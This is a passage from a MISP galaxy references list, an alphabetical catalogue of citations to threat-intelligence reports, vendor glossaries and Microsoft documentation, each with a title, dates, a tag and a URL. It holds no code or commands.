The tag is: *misp-galaxy:references="BfV North Korea February 17 2024"*

Table 23985. Table References

Links

https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2024-02-19-joint-cyber-security-advisory-englisch.pdf?blob=publicationFile&v=2

Trend Micro War of Crypto Miners

Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.

The tag is: *misp-galaxy:references="Trend Micro War of Crypto Miners"*

Table 23986. Table References

Links
https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html

Check Point Warzone Feb 2020

Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021.

The tag is: *misp-galaxy:references="Check Point Warzone Feb 2020"*

Table 23987. Table References

Links
https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/

Uptycs Warzone UAC Bypass November 2020

Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022.

The tag is: *misp-galaxy:references="Uptycs Warzone UAC Bypass November 2020"*

Table 23988. Table References

Links
https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique

Dragos WASSONITE

Dragos. (n.d.). WASSONITE. Retrieved January 20, 2021.

The tag is: *misp-galaxy:references="Dragos WASSONITE"*

Table 23989. Table References

Links
https://www.dragos.com/threat/wassonite/

NCC Group WastedLocker June 2020

Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="NCC Group WastedLocker June 2020"*

Table 23990. Table References

Links
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

Sentinel Labs WastedLocker July 2020

Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="Sentinel Labs WastedLocker July 2020"*

Table 23991. Table References

Links
https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/

Intezer Doki July 20

Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Intezer Doki July 20"*

Table 23992. Table References

Links
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/

Trend Micro Waterbear December 2019

Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Trend Micro Waterbear December 2019"*

Table 23993. Table References

Links
https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html

Symantec Waterbug Jun 2019

Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.

The tag is: *misp-galaxy:references="Symantec Waterbug Jun 2019"*

Table 23994. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments

ESET DazzleSpy Jan 2022

M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.

The tag is: *misp-galaxy:references="ESET DazzleSpy Jan 2022"*

Table 23995. Table References

Links
https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/

MicrosoftLearn March 2 2023

MicrosoftLearn. (2023, March 2). wbadmin. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="MicrosoftLearn March 2 2023"*

Table 23996. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin

win_wbadmin_delete_catalog

Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="win_wbadmin_delete_catalog"*

Table 23997. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog

wbemtest.exe - LOLBAS Project

LOLBAS. (2025, April 22). wbemtest.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="wbemtest.exe - LOLBAS Project"*

Table 23998. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wbemtest/

SecureWorks WannaCry Analysis

Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.

The tag is: *misp-galaxy:references="SecureWorks WannaCry Analysis"*

Table 23999. Table References

Links
https://www.secureworks.com/research/wcry-ransomware-analysis

NCC Group SafePay March 10 2025

NCC Group. (2025, March 10). Weak Passwords Led to (SafePay) Ransomware…Yet Again. Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="NCC Group SafePay March 10 2025"*

Table 24000. Table References

Links
https://www.nccgroup.com/us/research-blog/weak-passwords-led-to-safepay-ransomware-yet-again/

CyberCX Akira Ransomware

CyberCX. (2023, September 15). Weaponising VMs to bypass EDR – Akira ransomware. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="CyberCX Akira Ransomware"*

Table 24001. Table References

Links
https://cybercx.com.au/blog/akira-ransomware/

Aleks Weapons Nov 2015

Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="Aleks Weapons Nov 2015"*

Table 24002. Table References

Links
https://www.youtube.com/watch?v=lDvf4ScWbcQ

Cisco Salt Typhoon FEB 2025

Cisco Talos. (2025, February 20). Weathering the storm: In the midst of a Typhoon. Retrieved February 24, 2025.

The tag is: *misp-galaxy:references="Cisco Salt Typhoon FEB 2025"*

Table 24003. Table References

Links
https://blog.talosintelligence.com/salt-typhoon-analysis/

NIST Web Bug

NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.

The tag is: *misp-galaxy:references="NIST Web Bug"*

Table 24004. Table References

Links
https://csrc.nist.gov/glossary/term/web_bug

Sekoia.io Blog September 19 2024

Marc N; Sekoia TDR. (2024, September 19). WebDAV-as-a-Service Uncovering the infrastructure behind Emmenhtal loader distribution. Retrieved September 20, 2024.

The tag is: *misp-galaxy:references="Sekoia.io Blog September 19 2024"*

Table 24005. Table References

Links
https://blog.sekoia.io/webdav-as-a-service-uncovering-the-infrastructure-behind-emmenhtal-loader-distribution/

Didier Stevens WebDAV Traffic

Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="Didier Stevens WebDAV Traffic"*

Table 24006. Table References

Links
https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/

Checkmarx Webhooks

Jossef Harush Kadouri. (2022, March 7). Webhook Party — Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="Checkmarx Webhooks"*

Table 24007. Table References

Links
https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191

Push Security SaaS Attacks Repository Webhooks

Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Push Security SaaS Attacks Repository Webhooks"*

Table 24008. Table References

Links
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md

acunetix Server Secuirty

Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.

The tag is: *misp-galaxy:references="acunetix Server Secuirty"*

Table 24009. Table References

Links
https://www.acunetix.com/websitesecurity/webserver-security/

Microsoft Well Known SIDs Jun 2017

Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft Well Known SIDs Jun 2017"*

Table 24010. Table References

Links
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems

PWC WellMess C2 August 2020

PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020.

The tag is: *misp-galaxy:references="PWC WellMess C2 August 2020"*

Table 24011. Table References

Links
https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html

Cofense Astaroth Sept 2018

Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Cofense Astaroth Sept 2018"*

Table 24012. Table References

Links
https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/

Microsoft wevtutil Oct 2017

Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.

The tag is: *misp-galaxy:references="Microsoft wevtutil Oct 2017"*

Table 24013. Table References

Links
https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil

Wevtutil Microsoft Documentation

Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="Wevtutil Microsoft Documentation"*

Table 24014. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

Wfc.exe - LOLBAS Project

LOLBAS. (2021, September 26). Wfc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wfc.exe - LOLBAS Project"*

Table 24015. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/

WFMFormat.exe - LOLBAS Project

LOLBAS. (2024, December 5). WFMFormat.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="WFMFormat.exe - LOLBAS Project"*

Table 24016. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/WFMFormat/

Cloudflare DMARC, DKIM, and SPF

Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Cloudflare DMARC, DKIM, and SPF"*

Table 24017. Table References

Links
https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/

Crowdstrike Downgrade

Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.

The tag is: *misp-galaxy:references="Crowdstrike Downgrade"*

Table 24018. Table References

Links
https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/

Chrome Extensions Definition

Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Chrome Extensions Definition"*

Table 24019. Table References

Links
https://developer.chrome.com/extensions

StackExchange Hooks Jul 2012

Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="StackExchange Hooks Jul 2012"*

Table 24020. Table References

Links
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis

macOS APT Activity Bradley

Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.

The tag is: *misp-galaxy:references="macOS APT Activity Bradley"*

Table 24021. Table References

Links
https://themittenmac.com/what-does-apt-activity-look-like-on-macos/

okta

okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="okta"*

Table 24022. Table References

Links
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen

Norton Botnet

Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.

The tag is: *misp-galaxy:references="Norton Botnet"*

Table 24023. Table References

Links
https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html

Microsoft DLL

Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="Microsoft DLL"*

Table 24024. Table References

Links
https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library

Cloudflare DNSamplficationDoS

Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Cloudflare DNSamplficationDoS"*

Table 24025. Table References

Links
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/

Amazon AWS VPC Guide

Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Amazon AWS VPC Guide"*

Table 24026. Table References

Links
https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html

Cloudflare HTTPflood

Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Cloudflare HTTPflood"*

Table 24027. Table References

Links
https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/

Cloudflare NTPamplifciationDoS

Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Cloudflare NTPamplifciationDoS"*

Table 24028. Table References

Links
https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/

Microsoft Primary Refresh Token

Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Primary Refresh Token"*

Table 24029. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token

Comparitech Replay Attack

Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Comparitech Replay Attack"*

Table 24030. Table References

Links

https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/

Corero SYN-ACKflood

Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Corero SYN-ACKflood"*

Table 24031. Table References

Links
https://web.archive.org/web/20220119104451/https://www.corero.com/resource-hub/syn-ack-flood-attack/

Cloudflare SynFlood

Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Cloudflare SynFlood"*

Table 24032. Table References

Links
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/

Amazon VM

Microsoft. (n.d.). What is a virtual machine (VM)?. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Amazon VM"*

Table 24033. Table References

Links
https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-a-virtual-machine/

RedHat Webhooks

RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="RedHat Webhooks"*

Table 24034. Table References

Links
https://www.redhat.com/en/topics/automation/what-is-a-webhook

AWS System Manager

AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.

The tag is: *misp-galaxy:references="AWS System Manager"*

Table 24035. Table References

Links
https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html

Microsoft Azure Virtual Network Overview

Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Microsoft Azure Virtual Network Overview"*

Table 24036. Table References

Links
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview

CrowdStrike-BEC

Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.

The tag is: *misp-galaxy:references="CrowdStrike-BEC"*

Table 24037. Table References

Links
https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/

Microsoft Conditional Access

Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Microsoft Conditional Access"*

Table 24038. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview

ReasonLabs

ReasonLabs. (n.d.). What is Dead code insertion?. Retrieved March 4, 2025.

The tag is: *misp-galaxy:references="ReasonLabs"*

Table 24039. Table References

Links
https://cyberpedia.reasonlabs.com/EN/dead%20code%20insertion.html

PAN DNS Tunneling

Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="PAN DNS Tunneling"*

Table 24040. Table References

Links
https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling

Proofpoint-spoof

Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.

The tag is: *misp-galaxy:references="Proofpoint-spoof"*

Table 24041. Table References

Links
https://www.proofpoint.com/us/threat-reference/email-spoofing

magnusviri emond Apr 2016

Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.

The tag is: *misp-galaxy:references="magnusviri emond Apr 2016"*

Table 24042. Table References

Links
http://www.magnusviri.com/Mac/what-is-emond.html

Microsoft - Azure AD Federation

Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.

The tag is: *misp-galaxy:references="Microsoft - Azure AD Federation"*

Table 24043. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

What Is FormBook Malware?

www.blackberry.com. (n.d.). What Is FormBook Malware?. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="What Is FormBook Malware?"*

Table 24044. Table References

Links
https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/formbook

What is FormBook Malware? - Check Point Software

Check Point Software. (n.d.). What is FormBook Malware? - Check Point Software. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="What is FormBook Malware? - Check Point Software"*

Table 24045. Table References

Links
https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/what-is-formbook-malware/

FRP GitHub

fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.

The tag is: *misp-galaxy:references="FRP GitHub"*

Table 24046. Table References

Links
https://github.com/fatedier/frp

grsecurity official

grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="grsecurity official"*

Table 24047. Table References

Links
https://grsecurity.net/

freeCodeCamp.org March 29 2021

Freecodecamp. (2021, March 29). What is JavaScript A Definition of the JS Programming Language. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="freeCodeCamp.org March 29 2021"*

Table 24048. Table References

Links
https://www.freecodecamp.org/news/what-is-javascript-definition-of-js/

VDSO Aug 2005

Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.

The tag is: *misp-galaxy:references="VDSO Aug 2005"*

Table 24049. Table References

Links
https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/

Secret Double Octopus September 7 2022

Secret Double Octopus. (2022, September 7). What is Meterpreter - Security Wiki. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="Secret Double Octopus September 7 2022"*

Table 24050. Table References

Links
https://doubleoctopus.com/security-wiki/threats-and-tools/meterpreter/

what_is_mmc

Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="what_is_mmc"*

Table 24051. Table References

Links

https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console

Microsoft NET - Duplicate

Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="Microsoft NET - Duplicate"*

Table 24052. Table References

Links
https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework

Pastebin EchoSec

Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.

The tag is: *misp-galaxy:references="Pastebin EchoSec"*

Table 24053. Table References

Links
https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it

polymorphic-blackberry

Blackberry. (n.d.). What is Polymorphic Malware?. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="polymorphic-blackberry"*

Table 24054. Table References

Links
https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/polymorphic-malware

polymorphic-sentinelone

SentinelOne. (2023, March 18). What is Polymorphic Malware? Examples and Challenges. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="polymorphic-sentinelone"*

Table 24055. Table References

Links
https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-polymorphic-malware

MicrosoftLearn October 30 2024

MicrosoftLearn. (2024, October 30). What is PowerShell - PowerShell. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="MicrosoftLearn October 30 2024"*

Table 24056. Table References

Links
https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1

Microsoft Protected View

Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="Microsoft Protected View"*

Table 24057. Table References

Links
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653

python.exe Windows process July 2 2014

Python Software Foundation. (2014, July 2). What is python.exe. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="python.exe Windows process July 2 2014"*

Table 24058. Table References

Links
https://www.file.net/process/python.exe.html

McAfee What is Ransomware

McAfee. (n.d.). What is Ransomware?. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="McAfee What is Ransomware"*

Table 24059. Table References

Links
https://www.mcafee.com/enterprise/en-us/security-awareness/ransomware.html

TechNet RPC

Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.

The tag is: *misp-galaxy:references="TechNet RPC"*

Table 24060. Table References

Links
https://technet.microsoft.com/en-us/library/cc787851.aspx

Twilio SMS Pumping Fraud

Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Twilio SMS Pumping Fraud"*

Table 24061. Table References

Links
https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud

Twilio SMS Pumping

Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Twilio SMS Pumping"*

Table 24062. Table References

Links
https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions

IOKit Fundamentals

Apple. (2014, April 9). What Is the I/O Kit?. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="IOKit Fundamentals"*

Table 24063. Table References

Links
https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html

Baeldung LD_PRELOAD

baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Baeldung LD_PRELOAD"*

Table 24064. Table References

Links
https://www.baeldung.com/linux/ld_preload-trick-what-is

Microsoft VBScript

Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.

The tag is: *misp-galaxy:references="Microsoft VBScript"*

Table 24065. Table References

Links
https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)

VEC

CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.

The tag is: *misp-galaxy:references="VEC"*

Table 24066. Table References

Links
<a href="https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/<mark>:_{:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers.">https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/</mark>:}:text=Vendor%20email%20compromise%2C%20also%20referred

Proofpoint Vishing

Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Proofpoint Vishing"*

Table 24067. Table References

Links
https://www.proofpoint.com/us/threat-reference/vishing

taxonomy_downgrade_att_tls

Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.

The tag is: *misp-galaxy:references="taxonomy_downgrade_att_tls"*

Table 24068. Table References

Links
https://arxiv.org/abs/1809.05681

VMware VIBs

Kyle Gleed. (2011, September 13). What's in a VIB?. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="VMware VIBs"*

Table 24069. Table References

Links
https://blogs.vmware.com/vsphere/2011/09/whats-in-a-vib.html

ESET Emotet July 6 2023

Jakub Kaloč. (2023, July 6). What's up with Emotet?. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="ESET Emotet July 6 2023"*

Table 24070. Table References

Links
https://www.welivesecurity.com/2023/07/06/whats-up-with-emotet/

FireEye fxsst June 2011

Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.

The tag is: *misp-galaxy:references="FireEye fxsst June 2011"*

Table 24071. Table References

Links
https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html

Krebs Capital One August 2019

Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.

The tag is: *misp-galaxy:references="Krebs Capital One August 2019"*

Table 24072. Table References

Links
https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/

Symantec ADS May 2009

Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="Symantec ADS May 2009"*

Table 24073. Table References

Links
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

BH Manul Aug 2016

Galperin, E., Et al.. (2016, August 4). When Governments Attack: State Sponsored Malware Attacks Against Activists, Lawyers, and Journalists. Retrieved May 23, 2018.

The tag is: *misp-galaxy:references="BH Manul Aug 2016"*

Table 24074. Table References

Links
https://www.blackhat.com/docs/us-16/materials/us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf

Dragos Heroku Watering Hole

Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Dragos Heroku Watering Hole"*

Table 24075. Table References

Links

https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/

SpectorOps Bifrost Kerberos macOS 2019

Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="SpectorOps Bifrost Kerberos macOS 2019"*

Table 24076. Table References

Links
https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f

Palo Alto Brute Ratel July 2022

Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.

The tag is: *misp-galaxy:references="Palo Alto Brute Ratel July 2022"*

Table 24077. Table References

Links
https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/

Trend Micro When Phishing Starts from the Inside 2017

Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Trend Micro When Phishing Starts from the Inside 2017"*

Table 24078. Table References

Links
https://blog.trendmicro.com/phishing-starts-inside/

Booz Allen Hamilton

Booz Allen Hamilton. (2016). When The Lights Went Out. Retrieved December 18, 2024.

The tag is: *misp-galaxy:references="Booz Allen Hamilton"*

Table 24079. Table References

Links

https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

Unit 42 November 7 2020

Ryan Tracey; Drew Schmitt. (2020, November 7). When Threat Actors Fly Under the Radar Vatet, PyXie and Defray777. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Unit 42 November 7 2020"*

Table 24080. Table References

Links
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/

Microsoft Where to use TxF

Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Microsoft Where to use TxF"*

Table 24081. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx

Brining MimiKatz to Unix

Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Brining MimiKatz to Unix"*

Table 24082. Table References

Links
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf

Dell Lateral Movement

Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.

The tag is: *misp-galaxy:references="Dell Lateral Movement"*

Table 24083. Table References

Links
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

Secureworks - AT.exe Scheduled Task

Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019.

The tag is: *misp-galaxy:references="Secureworks - AT.exe Scheduled Task"*

Table 24084. Table References

Links
https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems

Cybereason WhisperGate February 2022

Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022.

The tag is: *misp-galaxy:references="Cybereason WhisperGate February 2022"*

Table 24085. Table References

Links
https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper

RecordedFuture WhisperGate Jan 2022

Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="RecordedFuture WhisperGate Jan 2022"*

Table 24086. Table References

Links
https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine

Symantec Whitefly March 2019

Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Symantec Whitefly March 2019"*

Table 24087. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore

Accenture Lyceum Targets November 2021

Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.

The tag is: *misp-galaxy:references="Accenture Lyceum Targets November 2021"*

Table 24088. Table References

Links
https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns

Who Hid My Desktop

